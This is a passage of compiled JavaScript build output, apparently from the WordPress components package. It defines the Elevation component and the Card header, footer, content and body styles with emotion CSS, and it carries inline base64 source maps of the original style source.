0XHRgO1xuXHRcdH1cblxuXHRcdGlmICggaXNWYWx1ZURlZmluZWQoIGFjdGl2ZVZhbHVlICkgKSB7XG5cdFx0XHRzeC5hY3RpdmUgPSBjc3NgXG5cdFx0XHRcdCo6YWN0aXZlID4gJiB7XG5cdFx0XHRcdFx0Ym94LXNoYWRvdzogJHsgZ2V0Qm94U2hhZG93KCBhY3RpdmVWYWx1ZSApIH07XG5cdFx0XHRcdH1cblx0XHRcdGA7XG5cdFx0fVxuXG5cdFx0aWYgKCBpc1ZhbHVlRGVmaW5lZCggZm9jdXMgKSApIHtcblx0XHRcdHN4LmZvY3VzID0gY3NzYFxuXHRcdFx0XHQqOmZvY3VzID4gJiB7XG5cdFx0XHRcdFx0Ym94LXNoYWRvdzogJHsgZ2V0Qm94U2hhZG93KCBmb2N1cyApIH07XG5cdFx0XHRcdH1cblx0XHRcdGA7XG5cdFx0fVxuXG5cdFx0cmV0dXJuIGN4KFxuXHRcdFx0c3R5bGVzLkVsZXZhdGlvbixcblx0XHRcdHN4LkJhc2UsXG5cdFx0XHRzeC5ob3Zlcixcblx0XHRcdHN4LmZvY3VzLFxuXHRcdFx0c3guYWN0aXZlLFxuXHRcdFx0Y2xhc3NOYW1lXG5cdFx0KTtcblx0fSwgW1xuXHRcdGFjdGl2ZSxcblx0XHRib3JkZXJSYWRpdXMsXG5cdFx0Y2xhc3NOYW1lLFxuXHRcdGN4LFxuXHRcdGZvY3VzLFxuXHRcdGhvdmVyLFxuXHRcdGlzSW50ZXJhY3RpdmUsXG5cdFx0b2Zmc2V0LFxuXHRcdHZhbHVlLFxuXHRdICk7XG5cblx0cmV0dXJuIHsgLi4ub3RoZXJQcm9wcywgY2xhc3NOYW1lOiBjbGFzc2VzLCAnYXJpYS1oaWRkZW4nOiB0cnVlIH07XG59XG4iXX0= */");
35228 }
35229 return cx3(Elevation, sx.Base, sx.hover, sx.focus, sx.active, className2);
35230 }, [active, borderRadius3, className2, cx3, focus4, hover2, isInteractive, offset3, value]);
35231 return {
35232 ...otherProps,
35233 className: classes,
35234 "aria-hidden": true
35235 };
35236 }
35237
35238 // packages/components/build-module/elevation/component.mjs
35239 var import_jsx_runtime159 = __toESM(require_jsx_runtime(), 1);
35240 function UnconnectedElevation(props, forwardedRef) {
35241 const elevationProps = useElevation(props);
35242 return /* @__PURE__ */ (0, import_jsx_runtime159.jsx)(component_default, {
35243 ...elevationProps,
35244 ref: forwardedRef
35245 });
35246 }
35247 var Elevation2 = contextConnect(UnconnectedElevation, "Elevation");
35248 var component_default25 = Elevation2;
35249
35250 // packages/components/build-module/card/styles.mjs
35251 function _EMOTION_STRINGIFIED_CSS_ERROR__18() {
35252 return "You have tried to stringify object returned from `css` function. It isn't supposed to be used directly (e.g. as value of the `className` prop), but rather handed to emotion so it can handle it (e.g. as value of `css` prop).";
35253 }
35254 var adjustedBorderRadius = `calc(${config_values_default.radiusLarge} - 1px)`;
35255 var Card = /* @__PURE__ */ css("box-shadow:0 0 0 1px ", config_values_default.surfaceBorderColor, ";outline:none;" + (false ? "" : ";label:Card;"), false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInN0eWxlcy50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUFnQnVCIiwiZmlsZSI6InN0eWxlcy50cyIsInNvdXJjZXNDb250ZW50IjpbIi8qKlxuICogRXh0ZXJuYWwgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCB7IGNzcyB9IGZyb20gJ0BlbW90aW9uL3JlYWN0JztcblxuLyoqXG4gKiBJbnRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IHsgQ09MT1JTLCBDT05GSUcgfSBmcm9tICcuLi91dGlscyc7XG5cbi8vIFNpbmNlIHRoZSBib3JkZXIgZm9yIGBDYXJkYCBpcyByZW5kZXJlZCB2aWEgdGhlIGBib3gtc2hhZG93YCBwcm9wZXJ0eVxuLy8gKGFzIG9wcG9zZWQgdG8gdGhlIGBib3JkZXJgIHByb3BlcnR5KSwgdGhlIHZhbHVlIG9mIHRoZSBib3JkZXIgcmFkaXVzIG5lZWRzXG4vLyB0byBiZSBhZGp1c3RlZCBieSByZW1vdmluZyAxcHggKHRoaXMgaXMgYmVjYXVzZSB0aGUgYGJveC1zaGFkb3dgIHJlbmRlcnNcbi8vIGFzIGFuIFwib3V0ZXIgcmFkaXVzXCIpLlxuY29uc3QgYWRqdXN0ZWRCb3JkZXJSYWRpdXMgPSBgY2FsYygkeyBDT05GSUcucmFkaXVzTGFyZ2UgfSAtIDFweClgO1xuXG5leHBvcnQgY29uc3QgQ2FyZCA9IGNzc2Bcblx0Ym94LXNoYWRvdzogMCAwIDAgMXB4ICR7IENPTkZJRy5zdXJmYWNlQm9yZGVyQ29sb3IgfTtcblx0b3V0bGluZTogbm9uZTtcbmA7XG5cbmV4cG9ydCBjb25zdCBIZWFkZXIgPSBjc3NgXG5cdGJvcmRlci1ib3R0b206IDFweCBzb2xpZDtcblx0Ym94LXNpemluZzogYm9yZGVyLWJveDtcblxuXHQmOmxhc3QtY2hpbGQge1xuXHRcdGJvcmRlci1ib3R0b206IG5vbmU7XG5cdH1cbmA7XG5cbmV4cG9ydCBjb25zdCBGb290ZXIgPSBjc3NgXG5cdGJvcmRlci10b3A6IDFweCBzb2xpZDtcblx0Ym94LXNpemluZzogYm9yZGVyLWJveDtcblxuXHQmOmZpcnN0LW9mLXR5cGUge1xuXHRcdGJvcmRlci10b3A6IG5vbmU7XG5cdH1cbmA7XG5cbmV4cG9ydCBjb25zdCBDb250ZW50ID0gY3NzYFxuXHRoZWlnaHQ6IDEwMCU7XG5gO1xuXG5leHBvcnQgY29uc3QgQm9keSA9IGNzc2Bcblx0Ym94LXNpemluZzogYm9yZGVyLWJveDtcblx0aGVpZ2h0OiBhdXRvO1xuXHRtYXgtaGVpZ2h0OiAxMDAlO1xuYDtcblxuZXhwb3J0IGNvbnN0IE1lZGlhID0gY3NzYFxuXHRib3gtc2l6aW5nOiBib3JkZXItYm94O1xuXHRvdmVyZmxvdzogaGlkZGVuO1xuXG5cdCYgPiBpbWcsXG5cdCYgPiBpZnJhbWUge1xuXHRcdGRpc3BsYXk6IGJsb2NrO1xuXHRcdGhlaWdodDogYXV0bztcblx0XHRtYXgtd2lkdGg6IDEwMCU7XG5cdFx0d2lkdGg6IDEwMCU7XG5cdH1cbmA7XG5cbmV4cG9ydCBjb25zdCBEaXZpZGVyID0gY3NzYFxuXHRib3gtc2l6aW5nOiBib3JkZXItYm94O1xuXHRkaXNwbGF5OiBibG9jaztcblx0d2lkdGg6IDEwMCU7XG5gO1xuXG5leHBvcnQgY29uc3QgYm9yZGVyUmFkaXVzID0gY3NzYFxuXHQmOmZpcnN0LW9mLXR5cGUge1xuXHRcdGJvcmRlci10b3AtbGVmdC1yYWRpdXM6ICR7IGFkanVzdGVkQm9yZGVyUmFkaXVzIH07XG5cdFx0Ym9yZGVyLXRvcC1yaWdodC1yYWRpdXM6ICR7IGFkanVzdGVkQm9yZGVyUmFkaXVzIH07XG5cdH1cblxuXHQmOmxhc3Qtb2YtdHlwZSB7XG5cdFx0Ym9yZGVyLWJvdHRvbS1sZWZ0LXJhZGl1czogJHsgYWRqdXN0ZWRCb3JkZXJSYWRpdXMgfTtcblx0XHRib3JkZXItYm90dG9tLXJpZ2h0LXJhZGl1czogJHsgYWRqdXN0ZWRCb3JkZXJSYWRpdXMgfTtcblx0fVxuYDtcblxuZXhwb3J0IGNvbnN0IGJvcmRlckNvbG9yID0gY3NzYFxuXHRib3JkZXItY29sb3I6ICR7IENPTkZJRy5jb2xvckRpdmlkZXIgfTtcbmA7XG5cbmV4cG9ydCBjb25zdCBib3hTaGFkb3dsZXNzID0gY3NzYFxuXHRib3gtc2hhZG93OiBub25lO1xuYDtcblxuZXhwb3J0IGNvbnN0IGJvcmRlcmxlc3MgPSBjc3NgXG5cdGJvcmRlcjogbm9uZTtcbmA7XG5cbmV4cG9ydCBjb25zdCByb3VuZGVkID0gY3NzYFxuXHRib3JkZXItcmFkaXVzOiAkeyBhZGp1c3RlZEJvcmRlclJhZGl1cyB9O1xuYDtcblxuZXhwb3J0IGNvbnN0IHNoYWR5ID0gY3NzYFxuXHRiYWNrZ3JvdW5kLWNvbG9yOiAkeyBDT0xPUlMudWkuYmFja2dyb3VuZERpc2FibGVkIH07XG5gO1xuIl19 */");
35256 var Header = false ? {
35257 name: "1showjb",
35258 styles: "border-bottom:1px solid;box-sizing:border-box;&:last-child{border-bottom:none;}"
35259 } : {
35260 name: "euqiwd-Header",
35261 styles: "border-bottom:1px solid;box-sizing:border-box;&:last-child{border-bottom:none;};label:Header;/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInN0eWxlcy50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUFxQnlCIiwiZmlsZSI6InN0eWxlcy50cyIsInNvdXJjZXNDb250ZW50IjpbIi8qKlxuICogRXh0ZXJuYWwgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCB7IGNzcyB9IGZyb20gJ0BlbW90aW9uL3JlYWN0JztcblxuLyoqXG4gKiBJbnRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IHsgQ09MT1JTLCBDT05GSUcgfSBmcm9tICcuLi91dGlscyc7XG5cbi8vIFNpbmNlIHRoZSBib3JkZXIgZm9yIGBDYXJkYCBpcyByZW5kZXJlZCB2aWEgdGhlIGBib3gtc2hhZG93YCBwcm9wZXJ0eVxuLy8gKGFzIG9wcG9zZWQgdG8gdGhlIGBib3JkZXJgIHByb3BlcnR5KSwgdGhlIHZhbHVlIG9mIHRoZSBib3JkZXIgcmFkaXVzIG5lZWRzXG4vLyB0byBiZSBhZGp1c3RlZCBieSByZW1vdmluZyAxcHggKHRoaXMgaXMgYmVjYXVzZSB0aGUgYGJveC1zaGFkb3dgIHJlbmRlcnNcbi8vIGFzIGFuIFwib3V0ZXIgcmFkaXVzXCIpLlxuY29uc3QgYWRqdXN0ZWRCb3JkZXJSYWRpdXMgPSBgY2FsYygkeyBDT05GSUcucmFkaXVzTGFyZ2UgfSAtIDFweClgO1xuXG5leHBvcnQgY29uc3QgQ2FyZCA9IGNzc2Bcblx0Ym94LXNoYWRvdzogMCAwIDAgMXB4ICR7IENPTkZJRy5zdXJmYWNlQm9yZGVyQ29sb3IgfTtcblx0b3V0bGluZTogbm9uZTtcbmA7XG5cbmV4cG9ydCBjb25zdCBIZWFkZXIgPSBjc3NgXG5cdGJvcmRlci1ib3R0b206IDFweCBzb2xpZDtcblx0Ym94LXNpemluZzogYm9yZGVyLWJveDtcblxuXHQmOmxhc3QtY2hpbGQge1xuXHRcdGJvcmRlci1ib3R0b206IG5vbmU7XG5cdH1cbmA7XG5cbmV4cG9ydCBjb25zdCBGb290ZXIgPSBjc3NgXG5cdGJvcmRlci10b3A6IDFweCBzb2xpZDtcblx0Ym94LXNpemluZzogYm9yZGVyLWJveDtcblxuXHQmOmZpcnN0LW9mLXR5cGUge1xuXHRcdGJvcmRlci10b3A6IG5vbmU7XG5cdH1cbmA7XG5cbmV4cG9ydCBjb25zdCBDb250ZW50ID0gY3NzYFxuXHRoZWlnaHQ6IDEwMCU7XG5gO1xuXG5leHBvcnQgY29uc3QgQm9keSA9IGNzc2Bcblx0Ym94LXNpemluZzogYm9yZGVyLWJveDtcblx0aGVpZ2h0OiBhdXRvO1xuXHRtYXgtaGVpZ2h0OiAxMDAlO1xuYDtcblxuZXhwb3J0IGNvbnN0IE1lZGlhID0gY3NzYFxuXHRib3gtc2l6aW5nOiBib3JkZXItYm94O1xuXHRvdmVyZmxvdzogaGlkZGVuO1xuXG5cdCYgPiBpbWcsXG5cdCYgPiBpZnJhbWUge1xuXHRcdGRpc3BsYXk6IGJsb2NrO1xuXHRcdGhlaWdodDogYXV0bztcblx0XHRtYXgtd2lkdGg6IDEwMCU7XG5cdFx0d2lkdGg6IDEwMCU7XG5cdH1cbmA7XG5cbmV4cG9ydCBjb25zdCBEaXZpZGVyID0gY3NzYFxuXHRib3gtc2l6aW5nOiBib3JkZXItYm94O1xuXHRkaXNwbGF5OiBibG9jaztcblx0d2lkdGg6IDEwMCU7XG5gO1xuXG5leHBvcnQgY29uc3QgYm9yZGVyUmFkaXVzID0gY3NzYFxuXHQmOmZpcnN0LW9mLXR5cGUge1xuXHRcdGJvcmRlci10b3AtbGVmdC1yYWRpdXM6ICR7IGFkanVzdGVkQm9yZGVyUmFkaXVzIH07XG5cdFx0Ym9yZGVyLXRvcC1yaWdodC1yYWRpdXM6ICR7IGFkanVzdGVkQm9yZGVyUmFkaXVzIH07XG5cdH1cblxuXHQmOmxhc3Qtb2YtdHlwZSB7XG5cdFx0Ym9yZGVyLWJvdHRvbS1sZWZ0LXJhZGl1czogJHsgYWRqdXN0ZWRCb3JkZXJSYWRpdXMgfTtcblx0XHRib3JkZXItYm90dG9tLXJpZ2h0LXJhZGl1czogJHsgYWRqdXN0ZWRCb3JkZXJSYWRpdXMgfTtcblx0fVxuYDtcblxuZXhwb3J0IGNvbnN0IGJvcmRlckNvbG9yID0gY3NzYFxuXHRib3JkZXItY29sb3I6ICR7IENPTkZJRy5jb2xvckRpdmlkZXIgfTtcbmA7XG5cbmV4cG9ydCBjb25zdCBib3hTaGFkb3dsZXNzID0gY3NzYFxuXHRib3gtc2hhZG93OiBub25lO1xuYDtcblxuZXhwb3J0IGNvbnN0IGJvcmRlcmxlc3MgPSBjc3NgXG5cdGJvcmRlcjogbm9uZTtcbmA7XG5cbmV4cG9ydCBjb25zdCByb3VuZGVkID0gY3NzYFxuXHRib3JkZXItcmFkaXVzOiAkeyBhZGp1c3RlZEJvcmRlclJhZGl1cyB9O1xuYDtcblxuZXhwb3J0IGNvbnN0IHNoYWR5ID0gY3NzYFxuXHRiYWNrZ3JvdW5kLWNvbG9yOiAkeyBDT0xPUlMudWkuYmFja2dyb3VuZERpc2FibGVkIH07XG5gO1xuIl19 */",
35262 toString: _EMOTION_STRINGIFIED_CSS_ERROR__18
35263 };
35264 var Footer = false ? {
35265 name: "14n5oej",
35266 styles: "border-top:1px solid;box-sizing:border-box;&:first-of-type{border-top:none;}"
35267 } : {
35268 name: "1rianq6-Footer",
35269 styles: "border-top:1px solid;box-sizing:border-box;&:first-of-type{border-top:none;};label:Footer;/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInN0eWxlcy50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUE4QnlCIiwiZmlsZSI6InN0eWxlcy50cyIsInNvdXJjZXNDb250ZW50IjpbIi8qKlxuICogRXh0ZXJuYWwgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCB7IGNzcyB9IGZyb20gJ0BlbW90aW9uL3JlYWN0JztcblxuLyoqXG4gKiBJbnRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IHsgQ09MT1JTLCBDT05GSUcgfSBmcm9tICcuLi91dGlscyc7XG5cbi8vIFNpbmNlIHRoZSBib3JkZXIgZm9yIGBDYXJkYCBpcyByZW5kZXJlZCB2aWEgdGhlIGBib3gtc2hhZG93YCBwcm9wZXJ0eVxuLy8gKGFzIG9wcG9zZWQgdG8gdGhlIGBib3JkZXJgIHByb3BlcnR5KSwgdGhlIHZhbHVlIG9mIHRoZSBib3JkZXIgcmFkaXVzIG5lZWRzXG4vLyB0byBiZSBhZGp1c3RlZCBieSByZW1vdmluZyAxcHggKHRoaXMgaXMgYmVjYXVzZSB0aGUgYGJveC1zaGFkb3dgIHJlbmRlcnNcbi8vIGFzIGFuIFwib3V0ZXIgcmFkaXVzXCIpLlxuY29uc3QgYWRqdXN0ZWRCb3JkZXJSYWRpdXMgPSBgY2FsYygkeyBDT05GSUcucmFkaXVzTGFyZ2UgfSAtIDFweClgO1xuXG5leHBvcnQgY29uc3QgQ2FyZCA9IGNzc2Bcblx0Ym94LXNoYWRvdzogMCAwIDAgMXB4ICR7IENPTkZJRy5zdXJmYWNlQm9yZGVyQ29sb3IgfTtcblx0b3V0bGluZTogbm9uZTtcbmA7XG5cbmV4cG9ydCBjb25zdCBIZWFkZXIgPSBjc3NgXG5cdGJvcmRlci1ib3R0b206IDFweCBzb2xpZDtcblx0Ym94LXNpemluZzogYm9yZGVyLWJveDtcblxuXHQmOmxhc3QtY2hpbGQge1xuXHRcdGJvcmRlci1ib3R0b206IG5vbmU7XG5cdH1cbmA7XG5cbmV4cG9ydCBjb25zdCBGb290ZXIgPSBjc3NgXG5cdGJvcmRlci10b3A6IDFweCBzb2xpZDtcblx0Ym94LXNpemluZzogYm9yZGVyLWJveDtcblxuXHQmOmZpcnN0LW9mLXR5cGUge1xuXHRcdGJvcmRlci10b3A6IG5vbmU7XG5cdH1cbmA7XG5cbmV4cG9ydCBjb25zdCBDb250ZW50ID0gY3NzYFxuXHRoZWlnaHQ6IDEwMCU7XG5gO1xuXG5leHBvcnQgY29uc3QgQm9keSA9IGNzc2Bcblx0Ym94LXNpemluZzogYm9yZGVyLWJveDtcblx0aGVpZ2h0OiBhdXRvO1xuXHRtYXgtaGVpZ2h0OiAxMDAlO1xuYDtcblxuZXhwb3J0IGNvbnN0IE1lZGlhID0gY3NzYFxuXHRib3gtc2l6aW5nOiBib3JkZXItYm94O1xuXHRvdmVyZmxvdzogaGlkZGVuO1xuXG5cdCYgPiBpbWcsXG5cdCYgPiBpZnJhbWUge1xuXHRcdGRpc3BsYXk6IGJsb2NrO1xuXHRcdGhlaWdodDogYXV0bztcblx0XHRtYXgtd2lkdGg6IDEwMCU7XG5cdFx0d2lkdGg6IDEwMCU7XG5cdH1cbmA7XG5cbmV4cG9ydCBjb25zdCBEaXZpZGVyID0gY3NzYFxuXHRib3gtc2l6aW5nOiBib3JkZXItYm94O1xuXHRkaXNwbGF5OiBibG9jaztcblx0d2lkdGg6IDEwMCU7XG5gO1xuXG5leHBvcnQgY29uc3QgYm9yZGVyUmFkaXVzID0gY3NzYFxuXHQmOmZpcnN0LW9mLXR5cGUge1xuXHRcdGJvcmRlci10b3AtbGVmdC1yYWRpdXM6ICR7IGFkanVzdGVkQm9yZGVyUmFkaXVzIH07XG5cdFx0Ym9yZGVyLXRvcC1yaWdodC1yYWRpdXM6ICR7IGFkanVzdGVkQm9yZGVyUmFkaXVzIH07XG5cdH1cblxuXHQmOmxhc3Qtb2YtdHlwZSB7XG5cdFx0Ym9yZGVyLWJvdHRvbS1sZWZ0LXJhZGl1czogJHsgYWRqdXN0ZWRCb3JkZXJSYWRpdXMgfTtcblx0XHRib3JkZXItYm90dG9tLXJpZ2h0LXJhZGl1czogJHsgYWRqdXN0ZWRCb3JkZXJSYWRpdXMgfTtcblx0fVxuYDtcblxuZXhwb3J0IGNvbnN0IGJvcmRlckNvbG9yID0gY3NzYFxuXHRib3JkZXItY29sb3I6ICR7IENPTkZJRy5jb2xvckRpdmlkZXIgfTtcbmA7XG5cbmV4cG9ydCBjb25zdCBib3hTaGFkb3dsZXNzID0gY3NzYFxuXHRib3gtc2hhZG93OiBub25lO1xuYDtcblxuZXhwb3J0IGNvbnN0IGJvcmRlcmxlc3MgPSBjc3NgXG5cdGJvcmRlcjogbm9uZTtcbmA7XG5cbmV4cG9ydCBjb25zdCByb3VuZGVkID0gY3NzYFxuXHRib3JkZXItcmFkaXVzOiAkeyBhZGp1c3RlZEJvcmRlclJhZGl1cyB9O1xuYDtcblxuZXhwb3J0IGNvbnN0IHNoYWR5ID0gY3NzYFxuXHRiYWNrZ3JvdW5kLWNvbG9yOiAkeyBDT0xPUlMudWkuYmFja2dyb3VuZERpc2FibGVkIH07XG5gO1xuIl19 */",
35270 toString: _EMOTION_STRINGIFIED_CSS_ERROR__18
35271 };
35272 var Content = false ? {
35273 name: "13udsys",
35274 styles: "height:100%"
35275 } : {
35276 name: "1ruapvy-Content",
35277 styles: "height:100%;label:Content;/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInN0eWxlcy50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUF1QzBCIiwiZmlsZSI6InN0eWxlcy50cyIsInNvdXJjZXNDb250ZW50IjpbIi8qKlxuICogRXh0ZXJuYWwgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCB7IGNzcyB9IGZyb20gJ0BlbW90aW9uL3JlYWN0JztcblxuLyoqXG4gKiBJbnRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IHsgQ09MT1JTLCBDT05GSUcgfSBmcm9tICcuLi91dGlscyc7XG5cbi8vIFNpbmNlIHRoZSBib3JkZXIgZm9yIGBDYXJkYCBpcyByZW5kZXJlZCB2aWEgdGhlIGBib3gtc2hhZG93YCBwcm9wZXJ0eVxuLy8gKGFzIG9wcG9zZWQgdG8gdGhlIGBib3JkZXJgIHByb3BlcnR5KSwgdGhlIHZhbHVlIG9mIHRoZSBib3JkZXIgcmFkaXVzIG5lZWRzXG4vLyB0byBiZSBhZGp1c3RlZCBieSByZW1vdmluZyAxcHggKHRoaXMgaXMgYmVjYXVzZSB0aGUgYGJveC1zaGFkb3dgIHJlbmRlcnNcbi8vIGFzIGFuIFwib3V0ZXIgcmFkaXVzXCIpLlxuY29uc3QgYWRqdXN0ZWRCb3JkZXJSYWRpdXMgPSBgY2FsYygkeyBDT05GSUcucmFkaXVzTGFyZ2UgfSAtIDFweClgO1xuXG5leHBvcnQgY29uc3QgQ2FyZCA9IGNzc2Bcblx0Ym94LXNoYWRvdzogMCAwIDAgMXB4ICR7IENPTkZJRy5zdXJmYWNlQm9yZGVyQ29sb3IgfTtcblx0b3V0bGluZTogbm9uZTtcbmA7XG5cbmV4cG9ydCBjb25zdCBIZWFkZXIgPSBjc3NgXG5cdGJvcmRlci1ib3R0b206IDFweCBzb2xpZDtcblx0Ym94LXNpemluZzogYm9yZGVyLWJveDtcblxuXHQmOmxhc3QtY2hpbGQge1xuXHRcdGJvcmRlci1ib3R0b206IG5vbmU7XG5cdH1cbmA7XG5cbmV4cG9ydCBjb25zdCBGb290ZXIgPSBjc3NgXG5cdGJvcmRlci10b3A6IDFweCBzb2xpZDtcblx0Ym94LXNpemluZzogYm9yZGVyLWJveDtcblxuXHQmOmZpcnN0LW9mLXR5cGUge1xuXHRcdGJvcmRlci10b3A6IG5vbmU7XG5cdH1cbmA7XG5cbmV4cG9ydCBjb25zdCBDb250ZW50ID0gY3NzYFxuXHRoZWlnaHQ6IDEwMCU7XG5gO1xuXG5leHBvcnQgY29uc3QgQm9keSA9IGNzc2Bcblx0Ym94LXNpemluZzogYm9yZGVyLWJveDtcblx0aGVpZ2h0OiBhdXRvO1xuXHRtYXgtaGVpZ2h0OiAxMDAlO1xuYDtcblxuZXhwb3J0IGNvbnN0IE1lZGlhID0gY3NzYFxuXHRib3gtc2l6aW5nOiBib3JkZXItYm94O1xuXHRvdmVyZmxvdzogaGlkZGVuO1xuXG5cdCYgPiBpbWcsXG5cdCYgPiBpZnJhbWUge1xuXHRcdGRpc3BsYXk6IGJsb2NrO1xuXHRcdGhlaWdodDogYXV0bztcblx0XHRtYXgtd2lkdGg6IDEwMCU7XG5cdFx0d2lkdGg6IDEwMCU7XG5cdH1cbmA7XG5cbmV4cG9ydCBjb25zdCBEaXZpZGVyID0gY3NzYFxuXHRib3gtc2l6aW5nOiBib3JkZXItYm94O1xuXHRkaXNwbGF5OiBibG9jaztcblx0d2lkdGg6IDEwMCU7XG5gO1xuXG5leHBvcnQgY29uc3QgYm9yZGVyUmFkaXVzID0gY3NzYFxuXHQmOmZpcnN0LW9mLXR5cGUge1xuXHRcdGJvcmRlci10b3AtbGVmdC1yYWRpdXM6ICR7IGFkanVzdGVkQm9yZGVyUmFkaXVzIH07XG5cdFx0Ym9yZGVyLXRvcC1yaWdodC1yYWRpdXM6ICR7IGFkanVzdGVkQm9yZGVyUmFkaXVzIH07XG5cdH1cblxuXHQmOmxhc3Qtb2YtdHlwZSB7XG5cdFx0Ym9yZGVyLWJvdHRvbS1sZWZ0LXJhZGl1czogJHsgYWRqdXN0ZWRCb3JkZXJSYWRpdXMgfTtcblx0XHRib3JkZXItYm90dG9tLXJpZ2h0LXJhZGl1czogJHsgYWRqdXN0ZWRCb3JkZXJSYWRpdXMgfTtcblx0fVxuYDtcblxuZXhwb3J0IGNvbnN0IGJvcmRlckNvbG9yID0gY3NzYFxuXHRib3JkZXItY29sb3I6ICR7IENPTkZJRy5jb2xvckRpdmlkZXIgfTtcbmA7XG5cbmV4cG9ydCBjb25zdCBib3hTaGFkb3dsZXNzID0gY3NzYFxuXHRib3gtc2hhZG93OiBub25lO1xuYDtcblxuZXhwb3J0IGNvbnN0IGJvcmRlcmxlc3MgPSBjc3NgXG5cdGJvcmRlcjogbm9uZTtcbmA7XG5cbmV4cG9ydCBjb25zdCByb3VuZGVkID0gY3NzYFxuXHRib3JkZXItcmFkaXVzOiAkeyBhZGp1c3RlZEJvcmRlclJhZGl1cyB9O1xuYDtcblxuZXhwb3J0IGNvbnN0IHNoYWR5ID0gY3NzYFxuXHRiYWNrZ3JvdW5kLWNvbG9yOiAkeyBDT0xPUlMudWkuYmFja2dyb3VuZERpc2FibGVkIH07XG5gO1xuIl19 */",
35278 toString: _EMOTION_STRINGIFIED_CSS_ERROR__18
35279 };
35280 var Body = false ? {
35281 name: "6ywzd",
35282 styles: "box-sizing:border-box;height:auto;max-height:100%"
35283 } : {
35284 name: "1klm29z-Body",
35285 styles: "box-sizing:border-box;height:auto;max-height:100%;label:Body;/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInN0eWxlcy50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUEyQ3VCIiwiZmlsZSI6InN0eWxlcy50cyIsInNvdXJjZXNDb250ZW50IjpbIi8qKlxuICogRXh0ZXJuYWwgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCB7IGNzcyB9IGZyb20gJ0BlbW90aW9uL3JlYWN0JztcblxuLyoqXG4gKiBJbnRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IHsgQ09MT1JTLCBDT05GSUcgfSBmcm9tICcuLi91dGlscyc7XG5cbi8vIFNpbmNlIHRoZSBib3JkZXIgZm9yIGBDYXJkYCBpcyByZW5kZXJlZCB2aWEgdGhlIGBib3gtc2hhZG93YCBwcm9wZXJ0eVxuLy8gKGFzIG9wcG9zZWQgdG8gdGhlIGBib3JkZXJgIHByb3BlcnR5KSwgdGhlIHZhbHVlIG9mIHRoZSBib3JkZXIgcmFkaXVzIG5lZWRzXG4vLyB0byBiZSBhZGp1c3RlZCBieSByZW1vdmluZyAxcHggKHRoaXMgaXMgYmVjYXVzZSB0aGUgYGJveC1zaGFkb3dgIHJlbmRlcnNcbi8vIGFzIGFuIFwib3V0ZXIgcmFkaXVzXCIpLlxuY29uc3QgYWRqdXN0ZWRCb3JkZXJSYWRpdXMgPSBgY2FsYygkeyBDT05GSUcucmFkaXVzTGFyZ2UgfSAtIDFweClgO1xuXG5leHBvcnQgY29uc3QgQ2FyZCA9IGNzc2Bcblx0Ym94LXNoYWRvdzogMCAwIDAgMXB4ICR7IENPTkZJRy5zdXJmYWNlQm9yZGVyQ29sb3IgfTtcblx0b3V0bGluZTogbm9uZTtcbmA7XG5cbmV4cG9ydCBjb25zdCBIZWFkZXIgPSBjc3NgXG5cdGJvcmRlci1ib3R0b206IDFweCBzb2xpZDtcblx0Ym94LXNpemluZzogYm9yZGVyLWJveDtcblxuXHQmOmxhc3QtY2hpbGQge1xuXHRcdGJvcmRlci1ib3R0b206IG5vbmU7XG5cdH1cbmA7XG5cbmV4cG9ydCBjb25zdCBGb290ZXIgPSBjc3NgXG5cdGJvcmRlci10b3A6IDFweCBzb2xpZDtcblx0Ym94LXNpemluZzogYm9yZGVyLWJveDtcblxuXHQmOmZpcnN0LW9mLXR5cGUge1xuXHRcdGJvcmRlci10b3A6IG5vbmU7XG5cdH1cbmA7XG5cbmV4cG9ydCBjb25zdCBDb250ZW50ID0gY3NzYFxuXHRoZWlnaHQ6IDEwMCU7XG5gO1xuXG5leHBvcnQgY29uc3QgQm9keSA9IGNzc2Bcblx0Ym94LXNpemluZzogYm9yZGVyLWJveDtcblx0aGVpZ2h0OiBhdXRvO1xuXHRtYXgtaGVpZ2h0OiAxMDAlO1xuYDtcblxuZXhwb3J0IGNvbnN0IE1lZGlhID0gY3NzYFxuXHRib3gtc2l6aW5nOiBib3JkZXItYm94O1xuXHRvdmVyZmxvdzogaGlkZGVuO1xuXG5cdCYgPiBpbWcsXG5cdCYgPiBpZnJhbWUge1xuXHRcdGRpc3BsYXk6IGJsb2NrO1xuXHRcdGhlaWdodDogYXV0bztcblx0XHRtYXgtd2lkdGg6IDEwMCU7XG5cdFx0d2lkdGg6IDEwMCU7XG5cdH1cbmA7XG5cbmV4cG9ydCBjb25zdCBEaXZpZGVyID0gY3NzYFxuXHRib3gtc2l6aW5nOiBib3JkZXItYm94O1xuXHRkaXNwbGF5OiBibG9jaztcblx0d2lkdGg6IDEwMCU7XG5gO1xuXG5leHBvcnQgY29uc3QgYm9yZGVyUmFkaXVzID0gY3NzYFxuXHQmOmZpcnN0LW9mLXR5cGUge1xuXHRcdGJvcmRlci10b3AtbGVmdC1yYWRpdXM6ICR7IGFkanVzdGVkQm9yZGVyUmFkaXVzIH07XG5cd